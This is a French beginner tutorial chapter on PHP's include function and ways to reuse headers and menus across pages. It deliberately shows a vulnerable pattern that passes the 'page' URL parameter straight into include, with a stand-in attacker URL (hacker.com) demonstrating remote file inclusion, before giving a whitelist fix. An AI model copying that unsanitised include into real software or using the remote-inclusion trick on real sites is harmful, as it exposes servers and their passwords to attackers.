Nous n'allons parler que d'une seule fonction : include. Elle est très simple d'emploi et fréquemment utilisée car très puissante.
Que fait cette fonction ?
Elle permet d'inclure le contenu d'une page PHP dans une autre page PHP.
Et c'est très utile ! Concrètement, supposons que sur votre site web il y ait un menu à gauche. Ce menu est affiché sur toutes les pages de votre site.
Jusqu'ici, vous deviez copier-coller ce menu dans toutes les pages, et si vous deviez modifier le menu eh bien il fallait modifier toutes les pages !
Grâce à l'include, vous dites à PHP sur chacune de vos pages : "Mets ici le contenu de la page menu.php". PHP va alors "prendre" le contenu de la page menu.php et le mettre là où vous lui avez dit.
Ainsi, si vous voulez modifier votre menu, vous modifiez juste menu.php et toutes les pages de votre site web sont automatiquement mises à jour ! C'est vraiment quelque chose de génial, et pour tout vous dire c'est en découvrant ça que j'ai décidé de me mettre au PHP
Voici comment on fait pour inclure la page menu.php :
Code : PHP1
2
3 | <?php
include("menu.php");
?>
|
C'est un code tout simple. PHP voit l'instruction include, il va aller chercher la page menu.php et la mettre à la place de cette instruction.
Un exemple concret ? N'allez pas chercher bien loin, regardez ce site web. Oui oui, le Site du Zér0 utilise beaucoup les includes. Voici le sommaire du cours de PHP (page index.php) :
La page index.php contient 2 includes : haut.php (pour le logo, la pub...) et menu.php (le menu du Site du Zér0). Vient ensuite le contenu proprement dit de index.php, c'est-à-dire le sommaire du cours de PHP. Le code PHP de index.php ressemble donc à cela :
Code : PHP 1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30 | <div id="haut">
<?php
// On inclut le haut de la page
include("haut.php");
?>
</div>
<div id="menu">
<?php
// Puis on inclut le menu
include("menu.php");
?>
</div>
<?php
// Maintenant on met le code de notre page (ce qu'on veut)
// Ce code peut bien entendu contenir du PHP comme du HTML
?>
<h1>
<img src="images/elephpant.gif" alt="ElePHPant" /> Un site dynamique avec PHP ! <img src="images/elephpant.gif" alt="ElePHPant" />
</h1>
<div class="question">
Mais pourquoi tous les sites web se mettent au PHP ? Que peut-on faire avec ?<br />
Et pis, c'est quoi PHP ???
</div>
<p>Hola hola, pas de panique amis Zér0s, ce tutoriel est là pour tout vous expliquer :o)...</p>
|
On a en premier les 2 includes (haut.php et menu.php), et après on a mis le code de notre page. Toutes les pages du site fonctionnent comme ça !
Vous remarquerez que j'utilise des calques (balise <div>) pour la présentation, mais vous faites comme vous voulez. Bien entendu, pour placer ces calques dans la page (menu à gauche, en-tête en haut etc...) j'utilise une feuille de style CSS.
Si vous ne savez pas faire une mise en page (un design) de votre site web, je vous recommande d'aller lire le tutoriel (x)HTML disponible sur ce site qui vous explique comment vous servir des balises <div> et comment les positionner pour construire votre design.
Bien, et si nous passions à la pratique ?
On veut par exemple afficher le titre de notre site en haut de toutes les pages. On va créer une page titre.php, qui sera incluse dans toutes les pages. On va aussi créer une page test.php pour tester l'inclusion.
On va mettre dans titre.php ce qu'on veut (HTML, PHP etc...). Pour ma part je fais simple, j'écris juste le nom du site :
Code : HTML
La page test.php est une page d'exemple de notre site. Toutes les pages du site ressembleront à celle-ci :
Code : PHP1
2
3
4
5
6
7 | <?php include("titre.php"); ?>
<p>
Ceci est une page d'exemple de notre site web.<br />
Toutes les pages du site ont cet include en haut, pour afficher le titre du site sur toutes les pages.<br />
Si le site change de nom, il nous suffira de modifier uniquement "titre.php", et toutes les pages du site, comme celle-ci, seront mises à jour !
</p>
|
On teste ce code ? Le bouton ci-dessous va ouvrir test.php :
Faites pareil chez vous, vous allez voir que c'est très facile à faire !
Un petit schéma pour résumer :
Ce schéma, bien que très moche car fait par moi, illustre bien ce qu'il se passe. Lorsque l'internaute demande à voir test.php, l'instruction include est remplacée par le contenu de titre.php.
Ce qui fait qu'à la fin, la page que l'internaute chargera contiendra ce code :
Code : HTML1
2
3
4
5
6
7 | <h2>Le Site du Zér0</h2>
<p>
Ceci est une page d'exemple de notre site web.<br />
Toutes les pages du site ont cet include en haut, pour afficher le titre du site sur toutes les pages.<br />
Si le site change de nom, il nous suffira de modifier uniquement "titre.php", et toutes les pages du site, comme celle-ci, seront mises à jour !
</p>
|
C'est très facile à comprendre, avouez
Voilà, en théorie vous savez tout ce qu'il y a à savoir mais... je ne vais pas vous abandonner là, je ne suis pas comme ça

En effet, nous allons voir dans une seconde partie de ce chapitre comment mettre en place concrètement des includes sur votre site web.
Grosso modo, on peut considérer qu'il y a 2 méthodes pour utiliser les includes sur son site : la brutale et la dangereuse. Je suis plutôt un adepte de la méthode brutale car je préfère être sûr de ne pas laisser une porte grande ouverte aux apprentis hackers.
QUOIIIII ?!!! Que vois-je ?! Qu'entends-je ?!

Je risque de me faire hacker mon site avec les includes et tu me le dis même pas ?

Bah non, faut pas pleurer comme ça voyons

J'allais justement vous en parler. Suivez avec attention tout ce que je vais vous dire.
Méthode n°1 : la brutale
On commence par ma préférée : la méthode dite "brutale"

(bien entendu ce n'est pas un nom officiel, c'est moi qui l'appelle comme ça

)
Cette méthode a un avantage et un défaut :
- Avantage : vous n'avez aucun risque de vous faire hacker avec cette méthode (c'est pour ça que je la préfère).
- Défaut : si vous voulez changer complètement le design de votre page web, il se peut (je dis bien "il se peut") que vous deviez tout refaire si vous avez utilisé la méthode brutale. Par ailleurs, elle fait un peu moins "pro", mais elle est tellement plus sûre...
Ne tournons pas autour du pot, cette méthode est simple : elle consiste à copier-coller l'instruction include sur toutes les pages web de votre site :
Code : PHP1
2
3
4
5
6
7
8 | <?php include("haut.php"); ?>
<p>
Ceci est une page X de votre site.<br />
Tout le code de vos pages ressemble à ceci : il y a un include en haut, et un include en bas.<br />
</p>
<?php include("bas.php"); ?>
|
Dans les pages haut.php et bas.php, vous mettez ce que vous voulez. Par exemple, dans haut.php je mettrais le titre du site et les premiers tags html : <html>, <head>, <title> etc... Ce qu'on trouve en haut du code d'une page web quoi...

Dans bas.php, vous inscrivez par exemple un copyright, le nom du webmaster, puis vous fermez les balises </body> et </html>
Méthode n°2 : la dangereuse
De la même manière que la méthode précédente, il y a un avantage et un défaut :
- Avantage : on peut facilement changer toute l'apparence de votre site sans problème. Certains trouveront aussi peut-être ce code plus "séduisant" (si toutefois il est possible de trouver un code séduisant
)
- Défaut : si vous ne faites pas très attention au code que vous écrivez, votre site web sera vulnérable et il sera assez facile de récupérer votre mot de passe MySQL par exemple...
A noter que cette méthode est utilisée par un bon nombre de sites web, mais encore une fois je ne vous la conseille pas trop.
Le fonctionnement est ici complètement l'inverse : au lieu d'inclure l'en-tête de vos pages, les menus etc... Vous créez une page qui contient tout sauf le corps de votre page : vous mettez donc vos balises <html>, <head>, <title>, vos menus, votre copyright, puis vous fermez les balises </body> et </html>.
Et là, vous allez inclure la page que vous souhaitez afficher. Par exemple, si vous voulez inclure la page minichat.php, vous ferez comme ceci :
Code : PHP 1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16 | <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="fr" lang="fr">
<head>
<title>Mon super site !</title>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" />
</head>
<body>
<?php include("minichat.php"); ?>
<p>Ce site a été écrit par Mateo21.</p>
</body>
</html>
|
Et si je veux inclure une autre page, je fais comment ? Je refais une page comme celle-là et j'inclus mon autre page cette fois ?
Pas du tout, malheureux !

L'astuce utilisée ici, c'est que l'on va recevoir une variable avec l'url. Vous vous souvenez de index.php?langue=fr&truc=bidule n'est-ce pas ? Eh bien, dans toutes les pages du site, on va transmettre une information qui contiendra le nom de la page à inclure, par exemple :
index.php?page=minichat
On reprend maintenant le code 3.1.7 :
Code : PHP 1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18 | <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="fr" lang="fr">
<head>
<title>Mon super site !</title>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" />
</head>
<body>
<?php
$page = $_GET['page'];
include("$page.php");
?>
<p>Ce site a été écrit par Mateo21.</p>
</body>
</html>
|
Si l'url contient index.php?page=minichat, alors on incluera minichat.php
Si l'url contient index.php?page=news, alors on incluera news.php
Si l'url contient index.php?page=forum, alors on incluera forum.php
Si l'url contient index.php?page=http://www.hacker.com/pagespeciale, alors on incluera
http://www.hacker.com/pagespeciale.php
Euh, attends une minute là, tu peux m'expliquer le dernier exemple ?

Oui, je crois que des explications s'imposent... Regardez en haut de cette page web, vous pouvez modifier facilement l'url, donc modifier facilement la page qui sera incluse !!! Et vu le code PHP qui a été utilisé, on peut très facilement inclure une page située sur un autre site ! Du coup, en modifiant juste l'url de la page, PHP va exécuter cette instruction :
<?php include("http://www.hacker.com/pagespeciale.php"); ?>
Qu'est-ce qu'on risque ? C'est simple, je n'ai qu'à modifier l'url pour mettre l'adresse d'un fichier PHP sur un FTP à moi, et c'est VOTRE serveur qui exécutera le code de ma page (pagespeciale.php).
Et alors ?
Eh bien, je n'ai qu'à dire à PHP : "Donne-moi le mot de passe de ce site"
Et hop, comme ça je peux accéder à un FTP qui ne m'appartient pas, modifier tous les fichiers que je veux, faire un bordel monstre... Que de joyeusetés illégales qui n'ont aucun intérêt, mais ça amuse certains abrutis (et je pèse mes mots) qui veulent montrer ainsi qu'ils sont "les plus forts". Hum, je m'emporte là
Moi, tout ce qui m'intéresse ici, c'est de vous sensibiliser au fait que ce que vous écrivez en PHP peut mettre en danger la sécurité de votre site. Vous venez de le voir sur un exemple concret : je viens de vous faire, sans que vous vous en rendiez compte, une ouverture aux problèmes de sécurité du PHP. Ce sont des problèmes qui ne vous préoccupent pas encore trop pour le moment, mais quand vous serez bons (et vous n'allez pas tarder à l'être, croyez-moi ^^), vous verrez que vous ferez très attention à la sécurité sur votre site.
Pour le moment, je vous rassure, on n'en est pas encore là, alors vous pouvez continuer à lire le tuto PHP tranquillement. Vous apprendrez tout cela petit à petit
Avant de nous quitter, voyons une des solutions possibles pour résoudre le problème de sécurité (il y en a plusieurs) :
Code : PHP 1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31 | <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="fr" lang="fr">
<head>
<title>Mon super site !</title>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" />
</head>
<body>
<?php
if ($_GET['page'] == "minichat")
{
include("minichat.php");
}
if ($_GET['page'] == "news")
{
include("news.php");
}
if ($_GET['page'] == "forum")
{
include("forum.php");
}
?>
<p>Ce site a été écrit par Mateo21.</p>
</body>
</html>
|
Si un hacker essaie de changer l'url, aucun des if ne sera valable donc rien ne sera inclus. Ouf !
Ca implique de faire autant de if qu'il n'y a de pages sur votre site, c'est pas super pratique... Voilà pourquoi je préfère (et vous conseille d'utiliser) la première méthode !
Voilà, vous savez tout ce qu'il y a à savoir sur les includes.
Comme vous avez pu le constater ça n'est absolument pas sorcier, et pourtant grâce à ce truc on peut déjà rendre son site bien plus agréable !